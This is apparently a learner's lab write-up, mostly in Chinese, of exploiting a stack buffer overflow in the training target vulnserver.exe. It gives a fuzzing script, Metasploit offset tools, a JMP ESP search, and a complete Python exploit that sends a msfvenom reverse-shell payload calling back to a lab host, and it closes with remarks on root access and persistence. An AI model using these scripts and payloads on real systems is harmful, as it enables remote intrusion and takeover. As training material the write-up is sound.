侯智晟
[e-mail]

[TOC]

Target: vulnserver.exe (Windows)

Vulnerable Server Download
- https://thegreycorner.com/vulnserver.html

Debuger(Dynamic Analysis) Download
- https://www.immunityinc.com/products/debugger/

---

## Memory Spaces

目標: control EIP

### Memory layout


stack -> Save local variable and value

### Stack inner


我們在cmd 輸入的chars 會進入stack 中 buffer space 中

那我們可以嘗試 塞更多char 來測試 這個proccess 有沒有overflow問題

進而control EIP retrun 的 address 來jump到 ESP 中 來run 我們的shell code

## Exploit 視圖


## Spiking
-> 去try service provide 的 command
找出易受攻擊的 Cmds


---


stat.spk

s_readline();
s_string("STATS");
s_string-variable("0");

trun.spk

s_readline();
s_string("TRUN ");
s_string_variable("0");

可能有overflow的cmd

generic_send_tcp 192.168.203.149 9999 trun.spk 0 0

可以知道 trun cmd 可能有 BOF 問題



從 Debuger 中 可以看到

EBP,EIP Register 的 value 都是 41414141 -> 0x41 = "A"
故我們可以 把 惡意 address 想辦法填到 EIP 上 讓他跳轉

## Fuzzing

編寫 python script 去 try 易受攻擊的 Cmd overflow EIP 位置大致在哪

我要去送 不規則的pattern 來去找出大概的 overflow 點

#!/usr/bin/python3
import sys
import socket 
from time import sleep 

HOST='192.168.203.149'
PORT=9999

buffer = "A"*100
#client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#client.settimeout(5.0) # 設置connect方法的超時時間
#client.settimeout(5.0) # 設置connect方法的超時時間
#client.settimeout(None) # 恢復recv方法的默認超時時間


while 1:
    try:
                
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.settimeout(5.0) # 設置connect方法的超時時間
        client.connect((HOST, PORT))
        
        client.send(("TRUN /.:/" + buffer).encode()) #For python3 syntax
        #client.send(("TRUN /.:/" + buffer))
        
        response = client.recv(1024)
        print(response.decode('utf-8'))
        client.close()
        
        buffer = buffer +"A"*100
        print(f'Current Buffer size = {str(len(buffer))} bytes')

    except KeyboardInterrupt:
        print('Interrupted by user')
        break

    except Exception as e:
        print(e)
        print(f'ifuzzing crashed at {str(len(buffer))} bytes')
        break # 在出現異常時退出while循環
    
    sleep(1)

當她 time out 超過5s 就會 terminate process

print 出 他送了多少的 "A" (1byte)


這樣 我們可以大至知道 溢出點 2100 byte 內

## Find the offset

找出 buffer 到 EIP 的 offset 是多少

這裡使用 metasploit tools 來拿到 pattern 去試
當EIP value 是其中 某個字段 我們就能算出 offset 是多少

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D


EIP -> 386F4337

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 386F4337
[*] Exact match at offset 2003

buffer 到 EIP offset = 2003 bytes

## Overwrite the EIP

我們可以 送其他的char 到EIP 上 來確保offset 2003 是沒有問題的

#!/usr/bin/python3
import sys
import socket 

HOST='192.168.203.149'
PORT=9999

shellCode = "A"*2003 + "B"*4 #offset 2003 byte A=41 B=42
try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
        
    client.send(("TRUN /.:/" + shellCode).encode())
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')



EIP 變成 42424242 -> 表示BBBB 剛好落在EIP 上 "B" = 0x42

## Find Bad characters

我們在 生成 shell 時 以16進位去送
要確保 可用的char(遍歷去檢查 0x01~0xff) 否則 shell code 會 run 不起來

0x01~0xff

https://github.com/cytopia/badchars

badchars -f python

#!/usr/bin/python3
import sys
import socket 

HOST='192.168.203.149'
PORT=9999

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)


shellCode = "A"*2003 + "B"*4 + badchars #offset 2003 byte A=41 B=42
try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
        
    client.send(("TRUN /.:/" + shellCode).encode())
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')


Flow in dump


在這個案例 沒有bad char 所以再生成shell code 不用避開某些 bad chars

其他案例

## Find Right Module

找出沒有 Memory protection Module

我們會使用 mona.py 放到 debuger 中 來去找出沒有保護的module


PS C:\Windows\system32> cd "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands"


PS C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands> wget "https://raw.githubusercontent.com/corelan/mona/master/mona.py" -outfile "mona.py"

在debuger 中使用 mona.py

!mona modules



ddl檔案通常是數據庫管理系統中用於描述資料表結構、約束條件和其他相關資訊的文件

我們可以在essfunc.dll 中 動手腳
可以嘗試jump 該module 的ESP 跑shell code

### jump ESP

locate nasm_shell.rb
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb


nasm > JMP ESP
00000000  FFE4              jmp esp

Obcode -> \xff \xE4

找出jump 到 essfunc.dll ESP 的address

!mona find -s "\xFF\xE4" -m essfunc.dll


Address -> "625011ad"

### 嘗試跳到該Address


#!/usr/bin/python3
import sys
import socket 

HOST='192.168.203.149'
PORT=9999

#jump esp = 625011af -> reverse = \af\11\50\62 "little endian"
shellCode = "A"*2003 + "\xaf\x11\x50\x62"
try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
        
    client.send(("TRUN /.:/" + shellCode).encode())
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

### Setting break point

來檢查 有沒有跳成功




EIP return address -> 已經到 essfunc.dll ESP 的 Address

## Inject shell code

用msfveno 生成 shell code
-> windows tcp revershell for x86

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.203.151 LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00"


Shell Code

"\xdb\xd7\xba\x1c\xf5\xf5\x11\xd9\x74\x24\xf4\x58\x29\xc9"
"\xb1\x52\x83\xc0\x04\x31\x50\x13\x03\x4c\xe6\x17\xe4\x90"
"\xe0\x5a\x07\x68\xf1\x3a\x81\x8d\xc0\x7a\xf5\xc6\x73\x4b"
"\x7d\x8a\x7f\x20\xd3\x3e\x0b\x44\xfc\x31\xbc\xe3\xda\x7c"
"\x3d\x5f\x1e\x1f\xbd\xa2\x73\xff\xfc\x6c\x86\xfe\x39\x90"
"\x6b\x52\x91\xde\xde\x42\x96\xab\xe2\xe9\xe4\x3a\x63\x0e"
"\xbc\x3d\x42\x81\xb6\x67\x44\x20\x1a\x1c\xcd\x3a\x7f\x19"
"\x87\xb1\x4b\xd5\x16\x13\x82\x16\xb4\x5a\x2a\xe5\xc4\x9b"
"\x8d\x16\xb3\xd5\xed\xab\xc4\x22\x8f\x77\x40\xb0\x37\xf3"
"\xf2\x1c\xc9\xd0\x65\xd7\xc5\x9d\xe2\xbf\xc9\x20\x26\xb4"
"\xf6\xa9\xc9\x1a\x7f\xe9\xed\xbe\xdb\xa9\x8c\xe7\x81\x1c"
"\xb0\xf7\x69\xc0\x14\x7c\x87\x15\x25\xdf\xc0\xda\x04\xdf"
"\x10\x75\x1e\xac\x22\xda\xb4\x3a\x0f\x93\x12\xbd\x70\x8e"
"\xe3\x51\x8f\x31\x14\x78\x54\x65\x44\x12\x7d\x06\x0f\xe2"
"\x82\xd3\x80\xb2\x2c\x8c\x60\x62\x8d\x7c\x09\x68\x02\xa2"
"\x29\x93\xc8\xcb\xc0\x6e\x9b\x33\xbc\xbb\xcc\xdc\xbf\x3b"
"\xf2\xa7\x49\xdd\x9e\xc7\x1f\x76\x37\x71\x3a\x0c\xa6\x7e"
"\x90\x69\xe8\xf5\x17\x8e\xa7\xfd\x52\x9c\x50\x0e\x29\xfe"
"\xf7\x11\x87\x96\x94\x80\x4c\x66\xd2\xb8\xda\x31\xb3\x0f"
"\x13\xd7\x29\x29\x8d\xc5\xb3\xaf\xf6\x4d\x68\x0c\xf8\x4c"\xfd\x28\xde\x5e\x3b\xb0\x5a\x0a\x93\xe7\x34\xe4\x55\x5e\xf7\x5e\x0c\x0d\x51\x36\xc9\x7d\x62\x40\xd6\xab\x14\xac\x67\x02\x61\xd3\x48\xc2\x65\xac\xb4\x72\x89\x67\x7d\x92\x68\xad\x88\x3b\x35\x24\x31\x26\xc6\x93\x76\x5f\x45\x11\x07\xa4\x55\x50\x02\xe0\xd1\x89\x7e\x79\xb4\xad\x2d\x7a\x9d"

(first blood, binary Exploit script)

#!/usr/bin/python3
import sys
import socket 

HOST='192.168.203.149'
PORT=9999

revShell=b'\xdb\xd7\xba\x1c\xf5\xf5\x11\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\x83\xc0\x04\x31\x50\x13\x03\x4c\xe6\x17\xe4\x90\xe0\x5a\x07\x68\xf1\x3a\x81\x8d\xc0\x7a\xf5\xc6\x73\x4b\x7d\x8a\x7f\x20\xd3\x3e\x0b\x44\xfc\x31\xbc\xe3\xda\x7c\x3d\x5f\x1e\x1f\xbd\xa2\x73\xff\xfc\x6c\x86\xfe\x39\x90\x6b\x52\x91\xde\xde\x42\x96\xab\xe2\xe9\xe4\x3a\x63\x0e\xbc\x3d\x42\x81\xb6\x67\x44\x20\x1a\x1c\xcd\x3a\x7f\x19\x87\xb1\x4b\xd5\x16\x13\x82\x16\xb4\x5a\x2a\xe5\xc4\x9b\x8d\x16\xb3\xd5\xed\xab\xc4\x22\x8f\x77\x40\xb0\x37\xf3\xf2\x1c\xc9\xd0\x65\xd7\xc5\x9d\xe2\xbf\xc9\x20\x26\xb4\xf6\xa9\xc9\x1a\x7f\xe9\xed\xbe\xdb\xa9\x8c\xe7\x81\x1c\xb0\xf7\x69\xc0\x14\x7c\x87\x15\x25\xdf\xc0\xda\x04\xdf\x10\x75\x1e\xac\x22\xda\xb4\x3a\x0f\x93\x12\xbd\x70\x8e\xe3\x51\x8f\x31\x14\x78\x54\x65\x44\x12\x7d\x06\x0f\xe2\x82\xd3\x80\xb2\x2c\x8c\x60\x62\x8d\x7c\x09\x68\x02\xa2\x29\x93\xc8\xcb\xc0\x6e\x9b\x33\xbc\xbb\xcc\xdc\xbf\x3b\xf2\xa7\x49\xdd\x9e\xc7\x1f\x76\x37\x71\x3a\x0c\xa6\x7e\x90\x69\xe8\xf5\x17\x8e\xa7\xfd\x52\x9c\x50\x0e\x29\xfe\xf7\x11\x87\x96\x94\x80\x4c\x66\xd2\xb8\xda\x31\xb3\x0f\x13\xd7\x29\x29\x8d\xc5\xb3\xaf\xf6\x4d\x68\x0c\xf8\x4c\xfd\x28\xde\x5e\x3b\xb0\x5a\x0a\x93\xe7\x34\xe4\x55\x5e\xf7\x5e\x0c\x0d\x51\x36\xc9\x7d\x62\x40\xd6\xab\x14\xac\x67\x02\x61\xd3\x48\xc2\x65\xac\xb4\x72\x89\x67\x7d\x92\x68\xad\x88\x3b\x35\x24\x31\x26\xc6\x93\x76\x5f\x45\x11\x07\xa4\x55\x50\x02\xe0\xd1\x89\x7e\x79\xb4\xad\x2d\x7a\x9d'


#revShellBytes = revShell.encode()
#print(revShellBytes)

#jump esp = 625011af -> reverse = \af\11\50\62 "little endian"
shellCode = b"A"*2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + revShell
try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    
    message = b'TRUN /.:/' + shellCode
    client.send((message))
    
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

\x90 \*32 是 padding(填充物) \x90 不能亂改 (花了一小時在debug XD 想說位g什麼我的shell run 不起來XD)


## Get ACCESS !!!


這樣我們就取的 該server的 initial access

如果service 以 root permission 運行 我們就能無傷 拿到ROOT權限
在進行 persistence 維持 Access